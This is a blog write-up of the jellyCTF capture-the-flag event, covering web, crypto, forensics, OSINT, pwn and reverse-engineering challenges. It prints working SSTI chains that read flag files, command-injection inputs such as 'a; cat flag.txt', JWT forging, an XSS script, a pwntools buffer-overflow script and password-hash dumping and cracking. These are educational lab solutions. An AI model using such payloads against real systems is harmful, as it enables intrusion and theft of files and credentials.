Skip to content

jellyCTF

Posted on:June 24, 2024 at 12:00 AM

Sometime during the middle of last week I decided to actually start playing CTFs, and I remember dungwinux mentioned that jellyc.tf was going on for 2 weeks and that it was good for beginners (aka me).

go check his writeups at https://dungwinux.github.io/-blog/security/2024/06/24/jellyctf.html, he was the first solo team to full clear w/o hints (i think)

I used a lot of hints (almost all of them), but I was able to solve 10/10 web, 6/8 osint, 3/3 pwn, 8/10 crypto, 6/7 forensics, 5/5 misc, 3/3 rev. Personally, I thought that the pwn and rev were lacking, but I learned a good amount in the other catagories. my "awards"

My "awards"

TOC:

web

back to TOC

do_not_trust

Opening robots.txt gives us

User-agent: *
Disallow: /
# jellyCTF{g0d_d4mn_cL4nk3r5}

vlookup_hot_singles

For the first stage, our goal is to impersonate the user “jelly” by modifying the JWT token. In the files provided, we are given the secret singaQu5aeWoh1vuoJuD]ooJ9aeh2soh, so we just copy the token into a jwt.io and modify the “user” field to “jelly”. Sending a request to the /admin page with the new token gives us the flag, and access to part 2. alt text

flag: jellyCTF{i_am_b3c0m3_awawa_d3str0y3r_0f_f3m4135}

vlookup_hot_singles_2

In the admin panel, there is a space to upload a spreadsheet and have the server send it back with columns added. I remembered a trick from stolenfootball where you can unzip microsoft docx/xlsx files, so I made a blank spreadsheet and did that. The resulting files are xml, meaning that it’s probably some xxe attack. Using a hint shows that the payload has to be in docProps/core.xml, and putting the xxe in there gives us the flag.

flag: jellyCTF{th1s_1snt_a_r3d_0n3_r1gh7?}

factory_clicker

The files provided show that there is an /increment endpoint for post requests, so just send a post request with a large number. alt text

flag: flag jellyCTF{keep_on_piping_jelly}

bro_visited_his_site_2

You can do SSTI with the word parameter, and our goal is to get to FileIO, which can be done with this chain: dict.__base__.__subclasses__()[114].__subclasses__()[1].__subclasses__()[0]('/app/flag.txt').read()

flag: jellyCTF{rc3p1lled_t3mpl4te_1nj3ct10nmaxx3r}

bro_visited_his_site

For some reason, this one was harder than its sequel, and using the hint basically gave the solution: url_for.__globals__['current_app'].config['FLAG']

flag: jellyCTF{f1agp1ll3d_t3mpl4te_1nj3ct10nmaxx3r}

check out dungwinux for an unintended+easier solution

aidoru

The goal here is to get to find the secret uuid of "jelly". Looking at the other uuids, they look like a hash, and putting them in a hash cracker shows that it’s md5. The md5 of jelly is 328356824c8487cf314aa350d11ae145, and going to https://aidoru.jellyc.tf/static/secret_data/328356824c8487cf314aa350d11ae145.json gives the flag.

flag: jellyCTF{u_r_the_p3rfect_ultimate_IDOR}

awafy_me

This is a simple code injection; just put a; ls and then a; cat flag.txt

flag: jellyCTF{c3rt1fied_aw4t15tic}

awascii_validator

Our goal is to get our payload to debug(), but it is translated from awascii before it is sent to debug. Translating ;ls results in awawawawawawa awa awawa awa awa awa awa awawa awawa awa awa, and sending it in shows that the flag is in ./flag. To translate ;cat flag, I used the python code form awafy_me (which for some reason prints backwards) alt text flag: jellyCTF{m4st3rs_1n_awat1sm}

pentest_on_stream

A simple xss is easy to do, but to access the obs json file is more difficult. Using the hint led to the obs documentation, which shows that window.obsstudio.getScenes is what we want. Inputting

<script>
window.obsstudio.getScenes(function (scenes) {
    document.getElementById("name").innerHTML=scenes[1];
});
</script>

gives the flag: jellyCTF{y0u_CANT_ju5t_d0_that_dud3}

forensics

back to TOC

alien_transmission

Popping the mp3 into a spectrum analyzer shows the flag: alt text

flag: jellyCTF{youre_hearing_things}

mpreg

Popping the file into a hex editor shows that it should be an mp4 file, so changing the 2avc1mpreg4 to 2avc1mp4 fixes the video.

flag: jellyCTF{i_can_fix_her}

the_REAL_truth

The image definitely has data encoded in it, but I wasn’t able to figure it out without a hint. Filtering the red channel (since there’s a cyan bar at the top) gives the flag in the data + some excerpt from jelly’s wiki.

flag: jellyCTF{th3_w0man_in_th3_r3d_ch4nn3l}

Fun fact the text in the caard.co is also taken from the Profile section of her wiki

the_REAL_truth_2

Fun fact: I stumbled across image_02 somehow without looking at sitemap.xml XORing the images gives the flag flag

flag: jellyCTF{tw0_h41v3s_m4k3_a_wh0L3}

head_empty

I used the hint to figure out to use volatility3, and after watching a guide, you just dump the password hashes and crack it with hashcat to get jellynerd2

flag: jellyCTF{jellynerd2}

head_empty_2

This one probably took me the longest(out of the ones I solved), with many dead ends. I attempted to dump the files of the mspaint process and binwalk it, showing that there were a lot of png images. Unfortunately, they were just the microsoft app icons.

I also attempted to binwalk the entire memory dump, which did give false hope 206700544 0xC520000 PC bitmap, Windows 3.x format,, 129 x 115 x 24 but the bitmap was garbage data.

Using the hint showed that you needed to dump the memory of the process, so I did p vol.py -f ../memory.dmp windows.memmap --dump --pid 4700 > ../memdump.txt

Eventually, I stumbled across a post of literally the same challenge which just recommended to put the memory dump in gimp and scroll through it until you found “a contigeous block of non-random data”. Doing so with width=1000 and height=6000, showed that there was indeed such a block in the memory, although upside down. Tuning to width=300 (the same dimensions as the twitter post) gave the complete image. alt text

flag: jellyCTF{pa1nt_pr1nc355}

crypto

back to TOC

cult_classic_1

This was just a series of mini-crypto puzzles:

  1. The first letter of each line reads PRINCESS
  2. b64->rot-3 gives If you can decode this, you can have the next key: BIGNERD
  3. Vig decode KMRYCTWG{ with it’s corresponding JELLYCTF{ gives BIGNERD as the key. Decoding the whole thing gives NOT BAD, HERES A FLAG FOR YOUR EFFORTS SO FAR: JELLYCTF{THIS_IS_JUST_A_WARM_UP} HOWEVER YOUR JOURNEY IS NOT OVER, TAKE THIS KEY AND PROCEED FORWARD: ALIEN

flag: JELLYCTF{THIS_IS_JUST_A_WARM_UP}

cult_classic_2

  1. [brute forcing] a playfair cipher gives ALIEN->ACOUSTIC as one of the possibilities
  2. Using a hint shows that you need to look at luminary’s lyrics, and each #.# corresponds to line.col. Decoding gives “Capitalize megalencephaly for the next …”
  3. Decoding a bacon cipher (with complete alphabet) gives THEFINALPASSWORDISSADGIRL

flag: jellyctf{jelly_was_probably_older_than_these_ciphers}

cipher_check

each clue corresponds to something in the form of ANSWER____, and filling in the board gives follow moist duel xqc in detail on special lineup event he won mate in 6 moves! Following the moves of the game and putting the corresponding letters of the squares in order gives istillloveit.

flag: jellyCTF{istillloveit}

exclusively_yours

XORing the hex with jellyCTF shows that the flag is XORed with itself shifted 3 bytes to the left. A script can reverse that:

c = "06 1C 2F 38 3F 38 2C 29 09 0A 16 2D 1C 16 2B 31 17 1B 2D 0A 16 0F 18 1C 11"
c = c.split()
c = [int(i, 16) for i in c]
res = ""
key = "jel"
for i in range(len(c)):
    k = key[-3]
    next = c[i]^ord(k)
    key += chr(next)
    res += k
print(res)

flag: jellyCTF{xorry_not_xorry}

dizzy_fisherman

Here we are able to input the base for two people’s AES encryption key. If you input 2 (or any number for that matter) you can easily brute force the exponent and get the key.

from Crypto.Util import number
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def brute_force(base, res, mod):
    b = base
    for i in range(2, 10000+1):
        b = (b*base)%mod
        if b == res: return i

p = 63579193433447636138142180956143903452427972074605894864703396671022456098599
g = 2
pa = 12216650520779549051085807383600007441099464649139735571057936351615978497631
pb = 268435456 # thats crazy

cip = "7c78e0ee6710a27b97cfb37501e02cc0e4f8cf921ecb9a891793622361efaa6cc7618b790239761506f8f83fa49b974ac7618b790239761506f8f83fa49b974a"

sa = brute_force(g, pa, p)
sb = brute_force(g, pb, p)
key = pow(pa, sb, p)

encoded_key = key.to_bytes(32, byteorder='big')
cipher = AES.new(encoded_key, AES.MODE_ECB)

pt = cipher.decrypt(bytes.fromhex(cip))
print(pt)

flag: jellyCTF{SOS_stuck_in_warehouse}

really_special_awawawas

Using the hint showed that the RSA encryption used more than 2 primes. I first read up a bit on how to break RSA:

n = 40095322948381328531315369020145890848992927830000776301309425505
e = 65537
cip = 35622053067320123838840878683947610930876835359945867019927573838

from sympy.ntheory import factorint
factors = factorint(n)
print(factors)
# {5: 1, 23: 1, 460465412038271581: 1, 757179525420813109550252454787205779901919127: 1}

factors = [(5,1), (23,1), (460465412038271581,1), (757179525420813109550252454787205779901919127,1)]
d = inverse(e, carmichael_lambda(factors))
print(d)
# 287458461584463336135331697997301511216944981741119712297623893

m = pow(cip,d,n)
h = hex(m)
print(h)
print(bytes.fromhex(h[2:]).decode())

flag: jellyCTF{awawas_4_every1}

the_brewing_secrets

The rand() function is seeded with the current time in seconds, so we can easily copy and use the number to build the passcode.

passcodeLength = 6
bitmask = (1 << passcodeLength) - 1

libc = CDLL("libc.so.6")

# p = process("./a.out", stdin=PTY, stdout=PTY)
p = remote(host='chals.jellyc.tf', port=6000)

s = int(time.time())
# print(s)

libc.srand(s)
for i in range(10):
  r = libc.rand()
  # print(f"r{i} {r}")
  passcode = r & bitmask
  print(f"passcode{i} {bin(passcode)}")
  print(p.recvuntil(b"passcode"))
  p.sendline(bin(passcode)[2:].encode('utf-8'))

print(p.recvuntil(b"}"))

p.interactive()

flag: jellyCTF{mad3_w1th_99_percent_l0v3_and_1_percent_sad_g1rl_t3ars}

cherry

The goal here is to get three cherries, which corresponds to solving a linear system

19*a + 32*b + 347*c = -10992 (mod m)
22*a + 27*b + 349*c = -30978 (mod m)
19*a + 29*b + 353*c = -12520 (mod m)

Solving the system with sagemath gives the amount of spins we need to do for each mode for various modulo offsets:

sage: solve_mod([19*a + 32*b + 347*c == -30983,22*a + 27*b + 349*c == -7390,19*a + 29*b + 353*c == -481],m)
[(10469, 7226, 14158)]
sage: solve_mod([19*a + 32*b + 347*c == -10992,22*a + 27*b + 349*c == -30978,19*a + 29*b + 353*c == -12520],m)
[(4194, 29860, 25598)]
sage: solve_mod([19*a + 32*b + 347*c == -25974,22*a + 27*b + 349*c == -26744,19*a + 29*b + 353*c == -9122],m)
[(20582, 3380, 26344)]

At this point it look like spinning that many times will get the awascii32 lines to show the flag, and we can do that by modifying the code:

function playCoin(n){
  spinMode = n;
  if (n == 0)       spinCounts = [10469, 7226, 14158];//slotSpins = [ 19,  22,  19];    you_won_c
  else if (n == 1)    spinCounts = [4194, 29860, 25598];//slotSpins = [ 32,  27,  29];   jellyCTF{
  else if (n == 2)    spinCounts = [20582, 3380, 26344];//slotSpins = [347, 349, 353];   herries!}
  updatePlaintextDisplay();
  updateModeDisplay();
}

flag

flag: jellyCTF{you_won_cherries!}

misc

back to TOC

welcome

This was the hardest challenge ever

flag: jellyCTF{L1k3_th15}

watch_streams

Going to the description of jelly’s ctf stream gives the flag

flag: jellyCTF{jerrywashere123}

this_is_canon

Looks like huffman encoding, but I only have a vague idea of how it exactly works. It took me a while to figure out what each character corresponded to in binary.

out = "1000001010010011101111101011101011111010000010100100110000111001110111010000111011100111110100111100100110101111000001110010110110010001100011011001000011001110011101000110101100010110011111111"
flag = ""

class Node:
    # z is 0, o is 1
    def __init__(self, c=None):
        self.c = c
        self.z = None
        self.o = None


trees = {
    '_':"000",
    'e':"001",
    'l':"010",
    'y':'011',
    'j':'1000',
    'o':'1001',
    'r':'1010',
    'a':'10110',
    'c':'10111',
    'd':'11000',
    's':'11001',
    't':'11010',
    'u':'11011',
    'w':'11100',
    'f':'111010',
    'h':'111011',
    'k':'111100',
    'm':'111101',
    '{':'111110',
    '}':'111111'
}

root = Node()
for ch in trees:
    v = trees[ch]
    h = root
    for p in v:
        if p == '1':
            if h.o:
                h = h.o
            else:
                h.o = Node()
                h = h.o
        else:
            if h.z:
                h = h.z
            else:
                h.z = Node()
                h = h.z
    h.c = ch

it = root
for b in out:
    if it.c:
        flag += it.c
        it = root
    if b == '1':
        it = it.o
    else:
        it = it.z

print(flag)

flag: jellyctf{jelly_your_homework_was_due_yesterday}

is_jelly_stuck

Solving the crossword shows that you have to go to Baba is you with the level code jieu-dkxx I forgot to take a screenshot of the level, but you have to get the cat to sleep again with the “cat is sleep” thing facing horizontally, and from there you can push it down and be in the same block as “is”. The flag is made by matching the letters of the crossword with your movements (like cipher_check)

flag: jellyCTF{krodflakarkt_k__aliases_c_led_ls}

just_win_lol

The real challenge in this one for me was getting the docker container working. I had to modify code from the templ docs to get it to work.

# Fetch
FROM golang:latest AS fetch-stage
COPY go.mod go.sum /app/
WORKDIR /app
RUN go mod download

# Generate
FROM ghcr.io/a-h/templ:latest AS generate-stage
COPY --chown=65532:65532 . /app
WORKDIR /app
RUN ["templ", "generate"]

# Build
FROM golang:latest AS build-stage
COPY --from=generate-stage /app /app
WORKDIR /app
RUN CGO_ENABLED=0 GOOS=linux go build -o /just-win-lol

FROM alpine:latest AS run
WORKDIR /app
RUN adduser -S jelly
USER jelly
COPY --chown=jelly assets /app/assets
COPY --from=build-stage --chown=jelly /just-win-lol /app/
EXPOSE 8080
ENTRYPOINT ["/app/just-win-lol"]

After that I just patched main.go to print to console every time it won.

ever:= 1
	for ever < 2 {
		log.Println("slept 0.5 second")
		time.Sleep(time.Second/2)
		// current time in unix seconds
		var timeNow = time.Now().UTC().Unix()
		var rand_time = rand.New(rand.NewSource(timeNow))
		hand := randHand(*rand_time)
		if isFiveOfAKind(hand) {
			log.Println("win=--=-=-=-=-=-=-=-=-=-=-=-=-=")
		}

	}

After that it was just a test of reaction speed for 5 minutes. script

flag: jellyCTF{its_v3ry_stra1ghtf0rw4rd_s1mply_g3t_g00d_rng}

osint

back to TOC

stalknights_1

reverse image searching the post gives us zaanse-schans

flag: jellyCTF{zaanse_schans,netherlands}

stalknights_3

They tweeted “last friday” on may 9, so the flight was on may 3rd. Plugging in the plane code JA784A into flightera.net shows that there was 1 flight on may 3rd, arriving in JFK airport.

flag: jellyCTF{new_york,united_states_of_america}

stalknights_4

You can find the github at https://github.com/starknight1337, with a rustlings_practice repo. Their twitter says they force pushed to hide their name, but you can find the logs of the repo in github’s api. Run curl https://api.github.com/repos/starknight1337/rustlings_practice/events to get Luke Ritterman as the name.

flag: jellyCTF{luke_ritterman}

secret_engineering_roleplay

If you use a tool to see hidden channels, you can find the flag in the hidden channel’s names.

flag: jellyCTF{that-is-what-the-e-stands-for-right}

into_the_atmosphere

I originally thought they were talking about a youtube channel, but after some time, I realized that the link has 225994578258427904 and 1249437169056088176 as “timestamps”, so throwing those into a snowflake converter gives 2016-09-15T15:01:46.233Z.

flag: 2016-09-15T15:01:46.233Z

super_fan

I had to use a hint for this: you need to find the twitter id of the user, which can be done through their banner on wayback machine The id for the user is 1772301250572263429, and according to this site, you can go to https://x.com/intent/user?user_id=1772301250572263429 to find the new account. The three posts

dGhpc193YXNfbm90X215X2ludGVudGlvbn0=
eUNURns=
amVsbA==

b64 decode to the flag.

flag: jellyCTF{this_was_not_my_intention}

pwn

back to TOC

phase_coffee_1

For all of these, the goal is to get enough money to buy jelly’s coffee You can do an integer overflow to subtract negative money rip opsec

flag: jellyCTF{sakana_your_C04433_shop_broke}

phase_coffee_2

The idea here is similar, except you can’t put negative numbers as input. However, the program multiples your input by 35 to decide how much money to subtract, so you can still do an integer overflow with 61356699*35.

flag: jellyCTF{dud3_y0u_m1ss3d_4n0th3r_bug}

phase_coffee_3

This time you actually need to do a buffer overflow. Using cyclic we find that remaining_coin_balance is an offset of 160 from the buffer. offset

from pwn import *

io = remote(host="chals.jellyc.tf", port=5002)

io.sendline(b'2')
io.sendline(b'1')
io.sendline(b'1')
io.sendline(cyclic(160)+p64(0x7fffffff))

io.interactive()

flag: jellyCTF{ph4se_c0nn3ct_15_definitely_a_coff33_comp4ny}

rev

back to TOC

awassmbely

Replace each awa5.0 bit with binary, and then run the assembly by hand to get 11010000, or 208

flag: jellyCTF{208}

lost_in_translation

The script converts the flag to awascii, but it uses 8 bits instead of 6 bits. We just translate from awascii, using 8 bits per char.

lookup = "AWawJELYHOSIUMjelyhosiumPCNTpcntBDFGRbdfgr0123456789 .,!'()~_/;\n"
out = " awa awa awa awawawawa awa awa awa awa awawawawawa awa awa awawa awa awa awa awa awa awa awawa awa awa awa awa awa awa awawa awa awa awawa awa awa awawawa awa awawa awa awa awawawa awawawa awa awawa awa awa awawa awa awa awawawawa awa awawa awa awa awawawa awa awawa awa awawa awawa awawa awa awa awa awawawawa awa awa awa awawa awawa awawawa awa awawa awawawa awawa awa awawa awa awa awa awawa awa awawawawawa awa awa awa awa awawawawawawa awa awa awa awa awa awawawa awa awawa awawa awawa awa awa awawawawawa awa awa awa awawa awa awawa awawa awa awawa awawa awawawa awa awa awawawa awawawa awa awawawawawa awa awa awa awa awawawawawawa awa awawa awawa awawa awa awa awawa awawa awawa awa awa awawawawawa awa awa awa awa awa awawawa awawa awa awa awawa awawawa awa awa awa awawawa awa awawa awa awa awawa awa awawa awa awa awawawawa awawa awa"
binary_awascii = out.replace(" awa", "0").replace("wa", "1")
length = int(len(binary_awascii)/8);
print(length)
flag = ""
for i in range(length):
    c = binary_awascii[8*i:8*i+8]
    ind = int(c, 2)
    flag += lookup[ind]
print(flag)

flag: jellyCTF(C0p13D_tw0_b1T_t00_MuCh)

rev1

Popping the binary into ghidra shows that the flag is c^eer<M?tZX<*Ia,kX?*MX_)kX:Xik*g<,..v rot 7. ghidra We do the same thing to get the flag.

f = 'c^eer<M?tZX<*Ia,kX?*MX_)kX:Xik*g<,..v'
res = ""
for c in f:
    res += chr(ord(c)+7)
print(res)
# could be 1 line but who cares

flag: jellyCTF{a_C1Ph3r_F1T_f0r_A_pr1nC355}

Things I didn’t solve

back to TOC

osint: stalknights_2

I found the “bright festival” sign and a “28 pizza” restaurant, as well as some tier bikes in the photo. However, I looked at the wrong bright festival. It happens that tier bikes exist both in leipzig and brussels(which should have been obvious b/c waffles), and I was stuck searching around leipzig to no avail.

You can see the 28 restaurant + the park railing in google maps

flag: jellyCTF{square_de_la_putterie}

osint: stalknights_5

Since the twitter user is a programmer (presumably), you can find their leetcode profile.

flag: jellyCTF{1337code_0n_str34m}

crypto: you’re_based

I decoded the base64 to

That was just a warm up. Here is the actual flag, though you may need a base that's 'A' bit larger:
驪ꍬ硹答𓉻晨鑳橩ꅟ𓅵鑴鑡楢晳鑣𔕡𔕡𔕡𓁡𓍭𠍰

However, I wasn’t able to crack the gibberish, even when going to base65535.

It turns out that the text should have been decoded to 驪ꍬ硹答𓉻晨鑳橩ꅟ𓅵鑴鑡楢晳鑣𔕡𔕡𔕡𓁡𓍭𠍰, which works when put into the base65535 link.

flag: jellyCTF{th1s_i5_just_a_b4s1c_awawawarmup}

crypto: you’re_bababased?

I didn’t really attempt this as I didn’t solve the prequel, but the solution can be found here or on other writeups. Essentially, you have to

  1. convert the characters into their indices in list_of_safe_unicode_chars.txt
  2. convert that into base 0xbaba
  3. convert that to ascii

flag: jellyCTF{baba_is_cool_but_j3lly_i5_COOLER}

forensics: oshi_mark

I noticed that there was a pattern in the hex of the text, with one character being 0 or -1, and the other being a number from 0-27:

a = ""
with open("hex.txt", "r") as f:
    a = f.read()
    a = a.split()

u = "f3 a0 85 8e e2 80 8c".split()
u = [int(x, 16) for x in u]
s = len(u)
letters = []
diffs = []

chunks = int(len(a)/s)
for i in range(chunks):
    b = a[i*s: s*i+s]
    b = [int(x, 16) for x in b]
    diff = [b[i]-u[i] for i in range(s)]
    letters.append(chr(diff[3]+97))
    diffs.append(diff[2])

print(letters)
print(diffs)

However I didn’t get anywhere after that.

Reading up some writeups you have to manipulate + guess how the bytes map to ascii.

a = ""
with open("hex.txt", "r") as f:
    a = f.read()
a = a.split()
a = a[4:-5]
a = [a[i:i+7] for i in range(0, len(a), 7)]
a = [int("".join(i), 16) for i in a]
a = [(i+81)%192 for i in a]
print(''.join([chr(i) for i in a]))

After doing some stuff, I came up with my own solve (using dcode.fr to find the offset).

a = ""
with open("hex.txt", "r") as f:
    a = f.read()
a = a.split()
b = a[2::7]
a = a[3::7]
a = [int(a[i],16)-(64+47 if b[i] == '84' else 47) for i in range(len(a))]
print("".join([chr(x) for x in a]))

It seems that there were many ways to solve this challenge.

flag: jellyCTF{a_cut3_alic3_hugg4bl3_plush13}